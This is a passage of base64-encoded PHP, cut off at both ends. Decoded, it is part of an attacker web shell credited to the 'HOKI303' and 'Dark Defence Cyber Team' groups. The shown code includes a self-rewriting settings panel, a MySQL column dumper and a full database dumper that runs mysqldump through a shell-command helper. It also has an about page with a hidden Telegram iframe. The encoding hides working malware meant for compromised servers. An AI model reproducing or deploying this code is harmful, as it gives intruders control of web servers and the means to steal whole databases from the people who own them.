9PC9kaXY+PC90ZD48dGQ+PGRpdiBjbGFzcz0idGJsdHh0IiBzdHlsZT0ibWFyZ2luLWxlZnQ6NXB4OyI+e3RhcmdldH06PC9kaXY+PC90ZD48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDo2MHB4OyIgbXVsdGk9InttdWx0aX0iIGlkPSJndWlfe3RhcmdldH0iIG9uQ2hhbmdlPSJjb2xvckhhbmRsZXIodGhpcyk7IiB0YXJnZXQ9Ii57dGFyZ2V0fSIgdHlwZT0iY29sb3IiIHZhbHVlPSJ7Y29sb3J9Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyIgbXVsdGk9InttdWx0aX0iIG9ua2V5dXA9ImNvbG9ySGFuZGxlcktleSh0aGlzKTsiIHRhcmdldD0iLnt0YXJnZXR9IiBpZD0iaW5wdXRfe3RhcmdldH0iIGNsYXNzPSJjb2xvcnNfaW5wdXQiIHBsYWNlaG9sZGVyPSIjZmZmZmZmIiB2YWx1ZT0ie2NvbG9yfSI+PC90ZD48L3RyPic7CiR4ID0gMTsKZm9yZWFjaCgkR0xPQkFMU1snX19IT0tJX0NPTE9SX18nXSBhcyAka2V5ID0+ICR2YWx1ZSl7CgkkbXVsdGkgPSAiIjsKCWlmKGlzX2FycmF5KCR2YWx1ZSkpewoJCWlmKGlzc2V0KCR2YWx1ZVsibXVsdGlfc2VsZWN0b3IiXSkpewoJCQkkbXVsdGkgPSBfX1pXNWpiMlJsY2coanNvbl9lbmNvZGUoJHZhbHVlKSk7CgkJfQoJfQoJJHZhbHVlID0gaG9raV9nZXRDb2xvcigka2V5KTsKCSRoZWxwID0gc3RydG9sb3dlcihzdHJfcmVwbGFjZShhcnJheSgiOiIsICIrIiksIGFycmF5KCJfIiwgIl9wbHVzIiksICRrZXkpKTsKCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntpbmRleH0iLCAie3RhcmdldH0iLCAie2NvbG9yfSIsICJ7bXVsdGl9IiwgIntoZWxwfSIpLCBhcnJheSgkeCsrLCAka2V5LCAkdmFsdWUsICRtdWx0aSwgJGhlbHApLCAkdGVtcGxhdGUpOwp9CmVjaG8gJzx0cj48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+LTwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxkaXYgY2xhc3M9InRibHR4dCI+KjwvZGl2PjwvdGQ+PHRkPjxkaXYgc3R5bGU9Im1hcmdpbi1sZWZ0OjVweDsiIGNsYXNzPSJ0Ymx0eHQiPlVzZSBEZWZhdWx0IENvbG9yOjwvZGl2PjwvdGQ+PHRkPjwvdGQ+PHRkPjxjZW50ZXI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0idXNlX2RlZmF1bHRfY29sb3IiIHZhbHVlPSIxIj48L2NlbnRlcj48L3RkPjwvdHI+JzsKCmVjaG8gJzwvdGJvZHk+PC90YWJsZT48cD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L3A+PC9mb3JtPjxwPjxidXR0b24gc3R5bGU9InBhZGRpbmc6NHB4OzttYXJnaW4tcmlnaHQ6MjBweDsiIG9uY2xpY2s9IiQoXCdpbXBvcnRGaWxlQnRuXCcpLmNsaWNrKCk7IiBjbGFzcz0iYnV0dG9uIj4gSW1wb3J0IDwvYnV0dG9uPiA8YnV0dG9uIHN0eWxlPSJwYWRkaW5nOjRweDttYXJnaW4tbGVmdDoyMHB4OyIgb25jbGljaz0iZyhcJ3NldHRpbmdzXCcsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxcJ2V4cG9ydFwnLFwnY29sb3JcJykiIGNsYXNzPSJidXR0b24iPiBFeHBvcnQgPC9idXR0b24+PC9jZW50ZXI+PC9wPic7CmlmKCRfUE9TVFsnaG9raTcnXT09J2V4cG9ydCcpewoJZWNobyBfX3ByZSgpOwoJJGNvbG9ycyA9IGlzX2FycmF5KCRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl0pPyRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl06YXJyYXkoKTsKCSRnbG9iX2NvbG9ycyA9ICRHTE9CQUxTWyJfX0hPS0lfQ09MT1JfXyJdOwoJJGFycmF5ID0gYXJyYXkoKTsKCWZvcmVhY2goJGdsb2JfY29sb3JzIGFzICRrID0+ICR2KXsKCQlpZihpc3NldCgkY29sb3JzWyRrXSkmJiFlbXB0eSgkY29sb3JzWyRrXSkmJiEkaXNfZGVmYXVsdCl7CgkJCSR2ID0gdHJpbSgkY29sb3JzWyRrXSk7CgkJfWVsc2V7CgkJCSR2ID0gdHJpbShpc19hcnJheSgkdik/JHZbImtleV9jb2xvciJdOiR2KTsKCQl9CgkJJGFycmF5WyRrXSA9ICR2OwoJfQoJJGZpbGUgPSAiaG9raV9jb2xvcl9jb25maWdfIi5kYXRlKCdZLW0tZC1oX2lfcycpLiIuY29uZiI7CgkkY29uZmlnID0ganNvbl9lbmNvZGUoJGFycmF5LCBKU09OX1BSRVRUWV9QUklOVCk7CglpZighQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkY29uZmlnKSl7CgkJZWNobygnPHA+PGNlbnRlcj5Db2xvciBDb25maWc6PGJyPjxicj48dGV4dGFyZWEgcm93cz0iMTIiIGNvbHM9IjcwIiB0eXBlPSJ0ZXh0Ij4nLiRjb25maWcuJzwvdGV4dGFyZWE+PC9jZW50ZXI+PC9wPicpOwoJfWVsc2V7CgkJZWNobygnPGgzPjxwPjxjZW50ZXI+PGEgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycuJGZpbGUuJ1wnLCBcJ2Rvd25sb2FkXCcpIj48Zm9udCBjb2xvcj0iIzBGMCI+RG93bmxvYWQgQ29uZmlnPC9mb250PjwvYT48L2NlbnRlcj48L3A+PC9oMz4nKTsKCX0KfQppZigkX1BPU1RbJ2hva2kyJ109PSc+PicpewoJZWNobyBfX3ByZSgpOwoJJGNvbG9ycyA9IGpzb25fZGVjb2RlKCRfUE9TVFsiaG9raTEiXSx0cnVlKTsKCSRhcnJheSA9ICIiOwoJJGlzX2RlZmF1bHQgPSBpc3NldCgkX1BPU1RbImhva2kzIl0pJiYkX1BPU1RbImhva2kzIl09PSIxIj90cnVlOmZhbHNlOwoJJGdsb2JfY29sb3JzID0gJEdMT0JBTFNbIl9fSE9LSV9DT0xPUl9fIl07Cglmb3JlYWNoKCRnbG9iX2NvbG9ycyBhcyAkayA9PiAkdil7CgkJaWYoaXNzZXQoJGNvbG9yc1ska10pJiYhZW1wdHkoJGNvbG9yc1ska10pJiYhJGlzX2RlZmF1bHQpewoJCQkkdiA9IHRyaW0oJGNvbG9yc1ska10pOwoJCX1lbHNlewoJCQkkdiA9IHRyaW0oaXNfYXJyYXkoJHYpPyR2WyJrZXlfY29sb3IiXTokdik7CgkJfQoJCSRhcnJheSAuPSAnIicudHJpbSgkaykuJyIgPT4gIicuJHYuJyIsJzsKCX0KCUBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSk7CgkkYmFzZW5hbWUgPSBAYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwoJJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJGJhc2VuYW1lKTsKCSRjb2xvciA9ICcvXCdjb2xvclwnKC4qPylcKSwvcyc7CglpZihwcmVnX21hdGNoKCRjb2xvciwkZGF0YSwkZSkpewoJCSRuZXcgPSAiJ2NvbG9yJyA9PiBhcnJheSgiLiRhcnJheS4iKSwiOwoJCSRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7CgkJaWYoQGZpbGVfcHV0X2NvbnRlbnRzKCRiYXNlbmFtZSwgJGRhdGEpKXsKCQkJZWNobygiPGNlbnRlcj48cD48aDM+WytdIFN1Y2Nlc3MuLi48L2gzPjwvcD48L2NlbnRlcj48c2NyaXB0PmxvY2F0aW9uLnJlbG9hZCgpOzwvc2NyaXB0PiIpOwoJCX1lbHNlewoJCQllY2hvKCI8Y2VudGVyPjxwPjxoMz5bLV0gV2UgTm90IGhhdmUgcGVybWlzc2lvbiB0byBFZGl0IHNoZWxsLi4uITwvaDM+PC9wPjwvY2VudGVyPiIpOwoJCX0KCX1lbHNlewoJCWVjaG8oIjxjZW50ZXI+PHA+PGgzPlstXSBFcnJvci4uLiE8L2gzPjwvcD48L2NlbnRlcj4iKTsKCX0KfQp9CmVjaG8oJzwvZGl2PicpOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWFib3V0dXMoKXsKaG9raWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz0iaGVhZGVyIj4nOwokbmV3cyA9IG5ldyBIb2tpQ1VSTCgpOwokYWJvdXRfdXMgPSAkbmV3cy0+U2VuZCgiaHR0cHM6Ly93d3cuZ29vZ2xlLmNvLmlkL3NlYXJjaD9xPW1pc3Rlcmhva2kmc2NhX2Vzdj0yOGU5Y2JhNDc2MTkzZDQyJnN4c3JmPUFETFlXSUsyRDhGLVZ0X3UtOTlxS0RtbXN6enBzUEpIa1ElM0ExNzE3NDE2MTE1OTMyJnNvdXJjZT1ocCZlaT1zN0JkWnQzWE50aVI0LUVQM29pOS1BNCZpZmxzaWc9QUw5aGJkZ0FBQUFBWmwyLXc5Q3dtM0J3RmN6c1Y4VDd3VDNHOWc1a2RyNjcmb3E9bWlzdGVyJmdzX2xwPUVnZG5kM010ZDJsNklnWnRhWE4wWlhJcUFnZ0FNZ29RSXhpQUJCZ25HSW9GTWdzUUFCaUFCQml4QXhpREFUSUxFQUFZZ0FRWXNRTVlnd0V5Q3hBQUdJQUVHTEVER0lNQk1nc1FBQmlBQkJpeEF4aURBVElRRUFBWWdBUVlzUU1ZZ3dFWWlnVVlDaklMRUFBWWdBUVlzUU1ZZ3dFeUJSQUFHSUFFTWdzUUFCaUFCQml4QXhpREFUSUZFQUFZZ0FSSXJDRlFsUWhZekJad0JIZ0FrQUVBbUFHWEFxQUIzUWlxQVFVMExqUXVNYmdCQThnQkFQZ0JBWmdDRGFBQzlRaW9BZ3JDQWdjUUl4Z25HT29Dd2dJRUVDTVlKOElDRUJBQUdJQUVHTEVER0VNWWd3RVlpZ1hDQWdzUUxoaUFCQml4QXhpREFjSUNDaEFBR0lBRUdFTVlpZ1hDQWc0UUFCaUFCQml4QXhpREFSaUtCY0lDQ0JBQUdJQUVHTEVEd2dJS0VBQVlnQVFZc1FNWUNzSUNEaEF1R0lBRUdNY0JHSTRGR0s4QndnSU5FQUFZZ0FRWXNRTVlnd0VZQ3NJQ0J4QUFHSUFFR0FxWUF3ZVNCd1U0TGpRdU1hQUg5ejgmc2NsaWVudD1nd3Mtd2l6Iik7CmlmKGVtcHR5KCRhYm91dF91cykpewokYWJvdXRfdXMgPSAiPHByZT48Y2VudGVyPjxpbWcgc3JjPSdodHRwczovL2kuaWJiLmNvLmNvbS9Hc3YzTU5HL2xvZ28ucG5nJz48YnI+CjxiPjxmb250IHNpemU9JyszJyBjb2xvcj0nIzAwQTIyMCc+JiM5Nzc0OyB+IFBFQUNFIH4gJiM5Nzc0OzwvZm9udD48YnI+PGI+Cjxmb250IGNvbG9yPScjMDBBMjIwJz5TaGVsbCBSZWNvZGVkIEJ5IEtpc2UgUnlvdW5pICYgQm9jaWwgKEhPS0kzMDMpPC9mb250Pjxicj4KPGZvbnQgY29sb3I9JyMwMEEyMjAnPkNvbnRhY3QgOiBraXNlcnlvdW5pQGdtYWlsLmNvbTwvZm9udD48YnI+Cjxmb250IGNvbG9yPScjMDBBMjIwJz5UZWxlZ3JhbTogQGtpc2VyeW91bmk8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+SW5kb25lc2lhbiBHdWxmIEZvciBFdmVyPC9mb250Pjxicj4KPGZvbnQgY29sb3I9JyNGRjAwMDAnPkRhcmsgRGVmZW5jZSBDeWJlciBUZWFtPC9mb250Pjxicj4KPGZvbnQgY29sb3I9JyNGRjAwMDAnPiMjIyMjIyMjIyMjIzwvZm9udD48YnI+CjwvY2VudGVyPjwvcHJlPjxpZnJhbWUgc3JjPSd0ZzovL3Jlc29sdmU/ZG9tYWluPWtpc2VyeW91bmknIGZyYW1lYm9yZGVyPScwJyB3aWR0aD0nMCcgaGVpZ2h0PScwJz48L2lmcmFtZT4iOwp9CmVjaG8gX19wcmUoKS4kYWJvdXRfdXM7CmVjaG8oJzwvZGl2PicpOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWNvbGR1bXBlcigpewpob2tpaGVhZCgpOwplY2hvKCc8ZGl2IGNsYXNzPSJoZWFkZXIiPicpOwpIb2tpTnVtKDgsOSwxMCk7CmVjaG8gIjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IE15c3FsIENvbHVtbiBEdW1wZXIgfDwvZGl2Pjxicj48YnI+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPGZvcm0gbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD1cInZhciBvcHRfaWQ9dGhpcy5nZXRBdHRyaWJ1dGUoJ29wdF9pZCcpO3ZhciBkZWxpbWl0ZXI9J2pzb24nO3RyeXtpZigkKCdkdW1wZXItZGVsaW1pdGVyLXR5cGUnKS52YWx1ZSA9PSAnZGVsaW1pdGVyJylkZWxpbWl0ZXI9JCgnZHVtcGVyLWRlbGltaXRlci1pbnB1dCcpLnZhbHVlfWNhdGNoKGUpe307ZygnY29sZHVtcGVyJyxudWxsLGRlbGltaXRlcixKU09OLnN0cmluZ2lmeShjb2xfZHVtcGVyX3NlbGVjdGVkX2RhdGFbb3B0X2lkXSksdGhpcy5kYl91c2VybmFtZS52YWx1ZSx0aGlzLmRiX3Bhc3N3b3JkLnZhbHVlLHRoaXMuZGJfbmFtZS52YWx1ZSx0aGlzLmRmaWxlLnZhbHVlLHRoaXMuZGJfaG9zdC52YWx1ZSk7IGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVtvcHRfaWRdID0ge307cmV0dXJuIGZhbHNlO1wiPjxwPiI7CiRkZWxpbWl0ZXIgPSAoIWVtcHR5KCRfUE9TVFsnaG9raTEnXSkgPyAkX1BPU1RbJ2hva2kxJ10gOiAnOjonKTsKJHNlbGVjdGVkX2RhdGEgPSBqc29uX2RlY29kZSgkX1BPU1RbJ2hva2kyJ10sIHRydWUpOwokdXNlcm5hbWUgPSAoJF9QT1NUWydob2tpMyddKTsKJHBhc3N3b3JkID0gKCRfUE9TVFsnaG9raTQnXSk7CiRkYm5hbWUgPSAoJF9QT1NUWydob2tpNSddKTsKJGRmaWxlID0gKCRfUE9TVFsnaG9raTYnXSk7CiRob3N0ID0gKCRfUE9TVFsnaG9raTcnXSk7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfaG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9ob3N0JywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAkaG9zdCwgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3VzZXJuYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3VzZXJuYW1lJywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAkdXNlcm5hbWUsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9wYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9wYXNzd29yZCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICRwYXNzd29yZCwgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX25hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfbmFtZScsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJGRibmFtZSwgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ091dHB1dCBQYXRoOiAnLCAnaW5wdXROYW1lJyA9PiAnZGZpbGUnLCAnaW5wdXRWYWx1ZScgPT4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAiPGJyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJyBuYW1lPSdTdWJtaXQnPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsKJGRiID0gZmFsc2U7CmlmKCFlbXB0eSgkZGJuYW1lKSl7CgkkZGIgPSBAbXlzcWxpX2Nvbm5lY3QoJGhvc3QsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGJuYW1lKTsKfQppZihjb3VudCgkc2VsZWN0ZWRfZGF0YSkgPiAwKXsKCWlmKCRkYil7CgkJaWYoIWlzX2RpcigkZGZpbGUpKXsKCQkJJGRmaWxlID0gJEdMT0JBTFNbJ2N3ZCddOwoJCX0KCQkkdGJscyA9ICIiOwoJCSRleHQgPSAnLnR4dCc7CgkJaWYoJGRlbGltaXRlciA9PSAnanNvbicpewoJCQkkZXh0ID0gJy5qc29uJzsKCQl9CgkJZm9yZWFjaCAoJHNlbGVjdGVkX2RhdGEgYXMgJHRibCA9PiAkY29scykgewoJCQkkdGFibGVzX3F1ZXJ5ID0gbXlzcWxpX3F1ZXJ5KCRkYiwgIlNFTEVDVCAiLmltcGxvZGUoJywnLCAkY29scykuIiBGUk9NICR0YmwiKTsKCQkJJGZpbGVfbmFtZSA9ICRkZmlsZS4nLycuJGRibmFtZS4nLicuJHRibC4kZXh0OwoJCQkkZnAgPSBmb3BlbigkZmlsZV9uYW1lLCAidyIpOwoJCQkkZGF0YSA9IGFycmF5KCk7CgkJCXdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHRhYmxlc19xdWVyeSwgTVlTUUxJX0FTU09DKSl7CgkJCQlpZigkZGVsaW1pdGVyID09ICJqc29uIil7CgkJCQkJJGNvbF9hcnIgPSBhcnJheSgpOwoJCQkJCWZvcmVhY2ggKCRyb3cgYXMgJGtleSA9PiAkdmFsdWUpIHsKCQkJCQkJaWYoZW1wdHkoJHZhbHVlKSl7CgkJCQkJCQkkdmFsdWUgPSAiW2VtcHR5XSI7CgkJCQkJCX0KCQkJCQkJICRjb2xfYXJyWyRrZXldID0gJHZhbHVlOwoJCQkJCX0KCQkJCQkkZGF0YVskdGJsXVtdID0gJGNvbF9hcnI7CgkJCQl9ZWxzZXsKCQkJCQkkZGF0YSA9ICIiOwoJCQkJCWZvcmVhY2ggKCRyb3cgYXMgJGtleSA9PiAkdmFsdWUpIHsKCQkJCQkJaWYoZW1wdHkoJHZhbHVlKSl7CgkJCQkJCQkkdmFsdWUgPSAiW2VtcHR5XSI7CgkJCQkJCX0KCQkJCQkJJGRhdGEgLj0gJHZhbHVlIC4gJGRlbGltaXRlcjsKCQkJCQl9CgkJCQkJZndyaXRlKCRmcCwgJGRhdGEgLiJcbiIpOwoJCQkJfQoJCQl9CgkJCWlmKCRkZWxpbWl0ZXIgPT0gImpzb24iKXsKCQkJCWZ3cml0ZSgkZnAsIGpzb25fZW5jb2RlKCRkYXRhKSk7CgkJCX0KCQkJZmNsb3NlKCRmcCk7CgkJCSR0YmxzIC49ICJEb25lIH5+fj4gIi4kZmlsZV9uYW1lLiI8YnI+IjsKCQl9CgkJZWNobyBfX3ByZSgpOwoJCWVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9JyMwMEZGMDAnPiIuJHRibHMuIjwvZm9udD48L2NlbnRlcj4iOwoJfQp9CmlmKCFlbXB0eSgkZGJuYW1lKSAmJiBjb3VudCgkc2VsZWN0ZWRfZGF0YSkgPT0gMCl7Ci8vZWNobyBfX3ByZSgpOwppZigkZGIpewoJZWNobygiPGhyPjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO21hcmdpbi1ib3R0b206NXB4O2ZvbnQtd2VpZ2h0OmJvbGRlcjsnPjxzcGFuPlsgU2VsZWN0IHlvdXIgdGFibGVzIGFuZCBjb2x1bW5zIGZvciBkdW1waW5nIGRhdGEgXTwvc3Bhbj48L2Rpdj4iKTsKCWVjaG8oIjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+PHNwYW4+T3V0cHV0IFR5cGU6IDwvc3Bhbj48c2VsZWN0IGlkPSdkdW1wZXItZGVsaW1pdGVyLXR5cGUnIG9uY2hhbmdlPSdjb2xEdW1wbGVyU2VsZWN0VHlwZSh0aGlzKTsnIG5hbWU9J291dHB1dF90eXBlJz48b3B0aW9uIHZhbHVlPSdkZWxpbWl0ZXInIHNlbGVjdGVkPmRlbGltaXRlcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2pzb24nPmpzb248L29wdGlvbj48L3NlbGVjdD48ZGl2IGlkPSdjb2xkdW1wZXItZGVsaW1pdGVyLWlucHV0JyBzdHlsZT0nZGlzcGxheTppbmxpbmU7Jz48c3Bhbj4gRGVsaW1pdGVyOiA8L3NwYW4+PGlucHV0IGlkPSdkdW1wZXItZGVsaW1pdGVyLWlucHV0JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyB0eXBlPSd0ZXh0JyBuYW1lPSdkZWxpbWl0ZXInIHBsYWNlaG9sZGVyPSdlZzogLCc+PC9kaXY+PC9kaXY+Iik7CgkkZGF0YSA9IGFycmF5KCk7CgkkdGFibGVzX3F1ZXJ5ID0gbXlzcWxpX3F1ZXJ5KCRkYiwgIlNFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWEgPSBkYXRhYmFzZSgpOyIpOwoJd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9hcnJheSgkdGFibGVzX3F1ZXJ5LCBNWVNRTElfQVNTT0MpKXsKCQkkZGF0YVskcm93WyJ0YWJsZV9uYW1lIl1dID0gYXJyYXkoKTsKCQkkdGFibGVfY291bnRfcSA9IG15c3FsaV9xdWVyeSgkZGIsICJTRUxFQ1QgY291bnQoKikgRlJPTSBgIi4kcm93Wyd0YWJsZV9uYW1lJ10uImAiKTsKCQkkdGFibGVfY291bnQgPSBteXNxbGlfZmV0Y2hfcm93KCR0YWJsZV9jb3VudF9xKTsKCQkkZGF0YVskcm93WyJ0YWJsZV9uYW1lIl1dWyJkYXRhX2NvdW50Il0gPSAkdGFibGVfY291bnRbMF07CgkJJGNvbHVtbnNfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGRiLCAiU0VMRUNUIGNvbHVtbl9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfbmFtZSA9ICciLiRyb3dbJ3RhYmxlX25hbWUnXS4iJyIpOwoJCXdoaWxlKCRyb3cyID0gbXlzcWxpX2ZldGNoX2FycmF5KCRjb2x1bW5zX3F1ZXJ5LCBNWVNRTElfQVNTT0MpKXsKCQkJJGRhdGFbJHJvd1sidGFibGVfbmFtZSJdXVsiY29scyJdW10gPSAkcm93MlsiY29sdW1uX25hbWUiXTsKCQl9Cgl9CglteXNxbGlfY2xvc2UoJGRiKTsKCgllY2hvICc8dWwgaWQ9Im15VUwiPic7Cglmb3JlYWNoKCRkYXRhIGFzICR0YmwgPT4gJGNvbHMpewoJICAgIGVjaG8gJzxsaT48c3BhbiBzdHlsZT0iY29sb3I6IzAwRkYwMDsiIGNsYXNzPSJib3giPicuJHRibC4nICgnLiRjb2xzWyJkYXRhX2NvdW50Il0uJyk8L3NwYW4+PHVsIGNsYXNzPSJuZXN0ZWQiPic7CgkgICAgZm9yZWFjaCgkY29sc1siY29scyJdIGFzICRjb2wpewoJICAgICAgICBlY2hvICc8bGkgdGJsPSInLiR0YmwuJyI+PHNwYW4gc3R5bGU9ImNvbG9yOiMwMEZGMDA7IiB0Ymw9IicuJHRibC4nIiBjbGFzcz0iYm94IHN1Yi1ib3giPicgLiAkY29sIC4gJzwvc3Bhbj48L2xpPic7CgkgICAgfQoJICAgIGVjaG8gJzwvdWw+PC9saT4nOwoJfQoJZWNobyAnPC91bD4nOwp9ZWxzZXsKZWNobygnPGNlbnRlcj5teXNxbGlfY29ubmVjdCA6IEVycm9yITwvY2VudGVyPicpOwp9Cn0KZWNobygnPC9kaXY+Jyk7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpRHVtcGVyKCl7Cmhva2loZWFkKCk7CmVjaG8oJzxkaXYgY2xhc3M9ImhlYWRlciI+Jyk7Ckhva2lOdW0oOCw5LDEwKTsKZWNobyAiPGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTXlzcWwgRGF0YWJhc2UgRHVtcGVyIHw8L2Rpdj48YnI+PGJyPiIuZ2V0Q29uZmlnSHRtbCgnYWxsJykuIjxmb3JtIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9XCJnKCdkdW1wZXInLG51bGwsbnVsbCxudWxsLHRoaXMuZGJfdXNlcm5hbWUudmFsdWUsdGhpcy5kYl9wYXNzd29yZC52YWx1ZSx0aGlzLmRiX25hbWUudmFsdWUsdGhpcy5kZmlsZS52YWx1ZSx0aGlzLmRiX2hvc3QudmFsdWUpOyByZXR1cm4gZmFsc2U7XCI+PHA+IjsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfdXNlcm5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfcGFzc3dvcmQgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfcGFzc3dvcmQnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX25hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfbmFtZScsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEdW1wIFBhdGg6ICcsICdpbnB1dE5hbWUnID0+ICdkZmlsZScsICdpbnB1dFZhbHVlJyA9PiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ2hva2kuc3FsJywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gIjxicj48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICcgbmFtZT0nU3VibWl0Jz48L3A+PC9mb3JtPjwvY2VudGVyPiI7CiR1c2VybmFtZSA9ICgkX1BPU1RbJ2hva2kzJ10pOwokcGFzc3dvcmQgPSAoJF9QT1NUWydob2tpNCddKTsKJGRibmFtZSA9ICgkX1BPU1RbJ2hva2k1J10pOwokZGZpbGUgPSAoJF9QT1NUWydob2tpNiddKTsKJGhvc3QgPSAoJF9QT1NUWydob2tpNyddKTsKaWYoIWVtcHR5KCRkYm5hbWUpKXsKZWNobyBfX3ByZSgpOwokbXNnID0gIjxjZW50ZXI+Q2hlY2sgdGhpcyA6ICA8Zm9udCBjb2xvcj0ncmVkJz4iLiRkZmlsZS4iPC9mb250PjwvY2VudGVyPiI7CmlmKEBteXNxbGlfY29ubmVjdCgkaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkLCRkYm5hbWUpKXsKaWYoc3RybGVuKGhva2lFeCgibXlzcWxkdW1wIikpPjApewpob2tpRXgoIm15c3FsZHVtcCAtLXNpbmdsZS10cmFuc2FjdGlvbiAtLWhvc3Q9XCIkaG9zdFwiIC0tdXNlcj1cI